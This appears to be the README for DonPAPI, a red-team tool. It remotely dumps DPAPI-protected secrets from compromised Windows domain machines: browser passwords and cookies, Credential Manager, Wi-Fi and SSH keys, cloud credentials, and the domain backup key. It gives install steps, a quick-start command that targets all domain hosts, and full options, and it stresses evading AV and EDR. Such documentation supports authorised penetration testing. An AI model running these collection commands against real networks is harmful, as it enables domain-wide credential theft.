Installation

This tool should be install with pipx or in a dedicated virtual environment

pipx install donpapi

or (with latest commits)

pipx install git+https://github.com/login-securite/DonPAPI.git

or (to dev)

git clone git+https://github.com/login-securite/DonPAPI.git
cd DonPAPI
poetry update
poetry run DonPAPI

Quick Start

pipx install donpapi
donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL --fetch-pvk
donpapi gui

Usage

usage: DonPAPI [-h] [-v] [-o DIRNAME] {collect,gui} ...

Dump revelant information on compromised targets without AV detection. Version: 2.0.0

positional arguments:
  {collect,gui}         DonPAPI Action
    collect             Dump secrets on a target list
    gui                 Spawn a Flask webserver to crawl DonPAPI database

options:
  -h, --help            show this help message and exit
  -v                    Verbosity level (-v or -vv)
  -o DIRNAME, --output-directory DIRNAME
                        Output directory. Default is ~/.donpapi/loot/

collect

This action is used to collect secrets on the targets specified in -t.

usage: dpp collect [-h] [--keep-collecting seconds] [--threads Number of threads] [--no-config] [-t TARGET [TARGET ...]] [-d domain.local]
                   [-u username] [-p password] [-H LMHASH:NTHASH] [--no-pass] [-k] [--aesKey hex key] [--laps Administrator] [--dc-ip IP address]
                   [-r /home/user/.donpapi/recover/recover_1718281433] [-c COLLECTORS] [-nr] [--fetch-pvk] [--pvkfile PVKFILE]
                   [--pwdfile PWDFILE] [--ntfile NTFILE] [--mkfile MKFILE]

options:
  -h, --help            show this help message and exit
  --keep-collecting seconds
                        Rerun the attack against all targets after X seconds, X being the value
  --threads Number of threads
                        Number of threads (default: 50)
  --no-config           Do not load donpapi config file (~/.donpapi/donpapi.conf)

authentication:
  -t TARGET [TARGET ...], --target TARGET [TARGET ...]
                        the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, ALL to fetch every
                        computer hostnames from LDAP
  -d domain.local, --domain domain.local
                        Domain
  -u username, --username username
                        Username
  -p password, --password password
                        Password
  -H LMHASH:NTHASH, --hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  --no-pass             don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid
                        credentials cannot be found, it will use the ones specified in the command line
  --aesKey hex key      AES key to use for Kerberos Authentication (1128 or 256 bits)
  --laps Administrator  use LAPS to request local admin password. The laps parameter value is the local admin account use to connect
  --dc-ip IP address    IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -r /home/user/.donpapi/recover/recover_1718281433, --recover-file /home/user/.donpapi/recover/recover_1718281433
                        The recover file path. If used, the other parameters will be ignored

attacks:
  -c COLLECTORS, --collectors COLLECTORS
                        Chromium, Certificates, CredMan, Files, Firefox, MobaXterm, MRemoteNG, RDCMan, SCCM, Vaults, VNC, Wifi, All (all
                        previous) (default: All)
  -nr, --no-remoteops   Disable Remote Ops operations (basically no Remote Registry operations, no DPAPI System Credentials)
  --fetch-pvk           Will automatically use domain backup key from database, and if not already dumped, will dump it on a domain controller
  --pvkfile PVKFILE     Pvk file with domain backup key
  --pwdfile PWDFILE     File containing username:password that will be used eventually to decrypt masterkeys
  --ntfile NTFILE       File containing username:nthash that will be used eventually to decrypt masterkeys
  --mkfile MKFILE       File containing {GUID}:SHA1 masterkeys mappings

Authentication

Authentication works by specifying a domain with --domain, an username with --username, and eventually a password with --password, a hash with --hashes, an AES key with --aesKey or a Kerberos ticket in ccache format with -k (Impacket style). You can also authenticate through LAPS on the computer with --laps and the username of the local LAPS account as the value for this parameter.

Collection

By default, DonPAPI will collect:

  • Chromium: Chromium browser Credentials, Cookies and Chrome Refresh Token
  • Certificates: Windows Certificates
  • CredMan: Credential Manager
  • Firefox: Firefox browser Credentials and Cookies
  • MobaXterm: Mobaxterm Credentials
  • MRemoteNg: MRemoteNg Credentials
  • RDCMan: RDC Manager Credentials
  • Files: Files on Desktop and and Recent folder
  • SCCM: SCCM Credentials
  • Vaults: Vaults Credentials
  • VNC: VNC Credentials
  • Wifi: Wifi Credentials
  • CloudCredentials: Cloud credentials
  • IDEProjects: IDE projects files
  • PasswordManagers: Passwords managers files
  • PowerShellHistory: PowerShell history files
  • RecycleBin: Recycle Bins files
  • SSHSecrets: SSH secrets files (keys)
  • VersionControlSystems: Versioning tools (git for example)

You can specify each one you want to collect with --collectors (SharpHound style). If you use --fetch-pvk, DonPAPI will automatically fetch the Domain Backup Key of the AD domain and use it to decrypt masterkeys. Otherwise, you can bring one with --pvkfile. --pwdfile, --ntfile are used to feed DonPAPI with secrets in order to unlock masterkeys. But if you have freshly decrypted masterkeys, you can use --mkfile.

[!WARNING] Some collection method will need to dump LSA secrets (in order to obtain the DPAPI machine key). This action can be noizy, and modern EDR will block you instantly. You can use -nr to avoid doing those noisy actions, but some secrets won't be collected.
